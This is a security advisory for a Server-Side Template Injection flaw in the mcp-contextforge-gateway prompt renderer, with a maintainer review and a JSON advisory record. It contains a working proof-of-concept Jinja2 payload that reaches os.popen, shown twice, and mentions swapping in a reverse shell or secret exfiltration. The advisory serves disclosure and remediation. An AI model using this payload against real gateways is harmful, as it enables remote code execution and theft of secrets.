GHSA-VWF3-4XXJ-QG6H
Vulnerability from github – Published: 2026-08-25 17:42 – Updated: 2026-08-25 17:42Summary
mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.
Details
Affected component: mcpgateway/services/prompt_service.py
Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.
Vulnerable code
mcpgateway/services/prompt_service.py, line 26:
from jinja2 import Environment, meta, select_autoescape
mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):
self._jinja_env = Environment(
autoescape=select_autoescape(["html", "xml"]),
trim_blocks=True,
lstrip_blocks=True,
)
mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):
def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
...
try:
jinja_template = self._jinja_env.from_string(template)
return jinja_template.render(**arguments)
except Exception:
try:
return template.format(**arguments)
except Exception as e:
raise PromptError(f"Failed to render template: {str(e)}")
_render_template is invoked from PromptService.get_prompt (line 892):
rendered = self._render_template(prompt.template, arguments)
Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.
Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.
PoC
The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.
Setup
pip install mcp-contextforge-gateway==0.9.0
Reproducer (poc.py)
import os
import warnings
with warnings.catch_warnings():
warnings.simplefilter("ignore")
from mcpgateway.services.prompt_service import PromptService
import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")
PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
os.remove(PROOF)
service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")
payload = (
"{{ self.__init__.__globals__.__builtins__"
".__import__('os').popen('echo MCPGATEWAY_RCE > "
+ PROOF.replace('\\', '/') + "').read() }}"
)
print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render: {os.path.exists(PROOF)}")
if os.path.exists(PROOF):
with open(PROOF) as f:
print(f"[+] PROOF contents: {f.read().strip()!r}")
Verified output
[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render: True
[+] PROOF contents: 'MCPGATEWAY_RCE'
The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.
End-to-end via the API
A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.
Impact
This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.
Successful exploitation yields:
- Arbitrary command execution on the gateway host with the gateway process's privileges
- Read/write access to the gateway's filesystem
- Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
- Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
- Persistence by registering additional malicious prompts, modifying configuration, or writing to disk
Affected user populations:
- Any deployment running a published version of
mcp-contextforge-gatewayfrom PyPI - Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
- CI/CD pipelines that programmatically register prompt templates from untrusted sources
- Deployments that import or sync prompt definitions from external registries
Suggested remediation requests:
- Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
- Publish the patched release to PyPI so
pip install --upgradereturns a fixed version - Mark the relevant
CHANGELOG.mdentry as a security fix and add an upgrade-urgency note inSECURITY.mdfor users still on affected versions
Maintainer review (accepted)
Reproduced and accepted. Findings from the maintainer's review:
Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.
Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.
Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.
Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).
Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.
Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-contextforge-gateway"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T17:42:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`mcpgateway.services.prompt_service.PromptService` renders user-supplied prompt templates using Jinja2\u0027s plain `Environment()` rather than `SandboxedEnvironment`. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.\n\n### Details\n\n**Affected component:** `mcpgateway/services/prompt_service.py`\n**Affected version:** `0.9.0` (verified). The fix in the unreleased `main` branch indicates all earlier published versions are likewise affected.\n\n**Vulnerable code**\n\n`mcpgateway/services/prompt_service.py`, line 26:\n\n```python\nfrom jinja2 import Environment, meta, select_autoescape\n```\n\n`mcpgateway/services/prompt_service.py`, line 135 (inside `PromptService.__init__`):\n\n```python\nself._jinja_env = Environment(\n autoescape=select_autoescape([\"html\", \"xml\"]),\n trim_blocks=True,\n lstrip_blocks=True,\n)\n```\n\n`mcpgateway/services/prompt_service.py`, lines 1592\u20131616 (`_render_template`):\n\n```python\ndef _render_template(self, template: str, arguments: Dict[str, str]) -\u003e str:\n ...\n try:\n jinja_template = self._jinja_env.from_string(template)\n return jinja_template.render(**arguments)\n except Exception:\n try:\n return template.format(**arguments)\n except Exception as e:\n raise PromptError(f\"Failed to render template: {str(e)}\")\n```\n\n`_render_template` is invoked from `PromptService.get_prompt` (line 892):\n\n```python\nrendered = self._render_template(prompt.template, arguments)\n```\n\nWhere `prompt.template` is loaded from the database. The `template` field of the database row is populated via the `register_prompt`, `update_prompt`, and `register_prompts_bulk` API endpoints, which accept attacker-controlled template content from authenticated API callers.\n\nBecause `self._jinja_env` is a plain `jinja2.Environment` rather than `jinja2.sandbox.SandboxedEnvironment`, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to `__builtins__.__import__` and calls `os.popen` (or any equivalent chain) executes arbitrary code at render time.\n\n### PoC\n\nThe reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.\n\n**Setup**\n\n```bash\npip install mcp-contextforge-gateway==0.9.0\n```\n\n**Reproducer (`poc.py`)**\n\n```python\nimport os\nimport warnings\n\nwith warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n from mcpgateway.services.prompt_service import PromptService\n\nimport mcpgateway\nprint(f\"[+] mcpgateway version: {mcpgateway.__version__}\")\n\nPROOF = os.path.abspath(\"MCPGATEWAY_RCE_PROOF.txt\")\nif os.path.exists(PROOF):\n os.remove(PROOF)\n\nservice = PromptService()\nprint(f\"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}\")\n\npayload = (\n \"{{ self.__init__.__globals__.__builtins__\"\n \".__import__(\u0027os\u0027).popen(\u0027echo MCPGATEWAY_RCE \u003e \"\n + PROOF.replace(\u0027\\\\\u0027, \u0027/\u0027) + \"\u0027).read() }}\"\n)\n\nprint(f\"[+] PROOF exists before render: {os.path.exists(PROOF)}\")\nservice._render_template(payload, {})\nprint(f\"[+] PROOF exists after render: {os.path.exists(PROOF)}\")\n\nif os.path.exists(PROOF):\n with open(PROOF) as f:\n print(f\"[+] PROOF contents: {f.read().strip()!r}\")\n```\n\n**Verified output**\n\n```\n[+] mcpgateway version: 0.9.0\n[+] PromptService._jinja_env type: Environment\n[+] PROOF exists before render: False\n[+] PROOF exists after render: True\n[+] PROOF contents: \u0027MCPGATEWAY_RCE\u0027\n```\n\nThe file `MCPGATEWAY_RCE_PROOF.txt` is written to disk by the embedded `os.popen` call, demonstrating arbitrary command execution in the gateway process. Replacing `echo MCPGATEWAY_RCE \u003e ...` with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.\n\n**End-to-end via the API**\n\nA full attack against a deployed gateway uses the same payload supplied as the `template` field to `POST /prompts` (or `PUT /prompts/{id}`). Once stored, the template fires every time the prompt is rendered via the gateway\u0027s MCP `prompts/get` flow.\n\n### Impact\n\nThis is a Server-Side Template Injection vulnerability in a component (`PromptService`) that is exposed via the gateway\u0027s REST API. The attacker requirement is **authenticated API access with permission to register or update prompts** \u2014 a normal capability for users in the gateway\u0027s intended deployment model.\n\n**Successful exploitation yields:**\n\n- Arbitrary command execution on the gateway host with the gateway process\u0027s privileges\n- Read/write access to the gateway\u0027s filesystem\n- Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)\n- Network access from the gateway host (lateral movement, internal request forgery beyond the gateway\u0027s normal SSRF protections, exfiltration to external endpoints)\n- Persistence by registering additional malicious prompts, modifying configuration, or writing to disk\n\n**Affected user populations:**\n\n- Any deployment running a published version of `mcp-contextforge-gateway` from PyPI\n- Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants\n- CI/CD pipelines that programmatically register prompt templates from untrusted sources\n- Deployments that import or sync prompt definitions from external registries\n\n**Suggested remediation requests:**\n\n1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts\n2. Publish the patched release to PyPI so `pip install --upgrade` returns a fixed version\n3. Mark the relevant `CHANGELOG.md` entry as a security fix and add an upgrade-urgency note in `SECURITY.md` for users still on affected versions\n\n---\n\n## Maintainer review (accepted)\n\nReproduced and **accepted**. Findings from the maintainer\u0027s review:\n\n**Confirmed valid (SSTI \u2192 RCE).** In `mcpgateway/services/prompt_service.py` as published in v0.9.0 (and all earlier releases), `_render_template()` runs `Environment().from_string(template).render(**args)` on a plain, unsandboxed `jinja2.Environment` (v0.9.0 line 27: `from jinja2 import Environment`). With no render-time sandbox, the `__builtins__.__import__(\u0027os\u0027).popen(...)` chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.\n\n**Reachable with attacker-controlled input.** The `template` field is persisted by the authenticated write paths \u2014 `POST /prompts` (`prompts.create`), prompt update (`prompts.update`), and bulk register \u2014 then rendered in `get_prompt()` \u2192 `_render_template()`. Any authenticated principal holding `prompts.create`/`prompts.update` reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.\n\n**Scope (set on this advisory):** affected `\u003c 1.0.0` (0.1.0\u20130.9.0); patched `1.0.0`.\n\n**Already fixed.** Migrated to `SandboxedEnvironment` in #4072 (commit `4d3100466`, 2026-04-24), shipped in v1.0.0. Current `main` (1.0.3) additionally prevents the `str.format()` fallback from re-opening the attribute path when the sandbox rejects an expression (a `jinja2.exceptions.SecurityError` no longer falls through to `.format()`).\n\n**Correction to the report.** \"Patched version not installable via pip\" is now stale \u2014 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to `\u003e= 1.0.0`.\n\n**Audit.** Other `jinja2.Environment` usages in the codebase (`main.py`, `version.py`, `tools/builder`, email templates, `content_security.py`) render trusted on-disk templates via `FileSystemLoader` or are parse-only \u2014 none render user-supplied template strings. No second instance of this pattern.",
"id": "GHSA-vwf3-4xxj-qg6h",
"modified": "2026-08-25T17:42:11Z",
"published": "2026-08-25T17:42:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/IBM/mcp-context-forge/security/advisories/GHSA-vwf3-4xxj-qg6h"
},
{
"type": "WEB",
"url": "https://github.com/IBM/mcp-context-forge/issues/538"
},
{
"type": "WEB",
"url": "https://github.com/IBM/mcp-context-forge/pull/4072"
},
{
"type": "WEB",
"url": "https://github.com/IBM/mcp-context-forge/commit/4d31004661858a2e99055b3c0c9f14218b8f7120"
},
{
"type": "PACKAGE",
"url": "https://github.com/IBM/mcp-context-forge"
},
{
"type": "WEB",
"url": "https://github.com/IBM/mcp-context-forge/releases/tag/v1.0.0"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "mcp-contextforge-gateway has Server-Side Template Injection (SSTI) leading to Remote Code Execution in `PromptService._render_template` via unsandboxed Jinja2 Environment"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.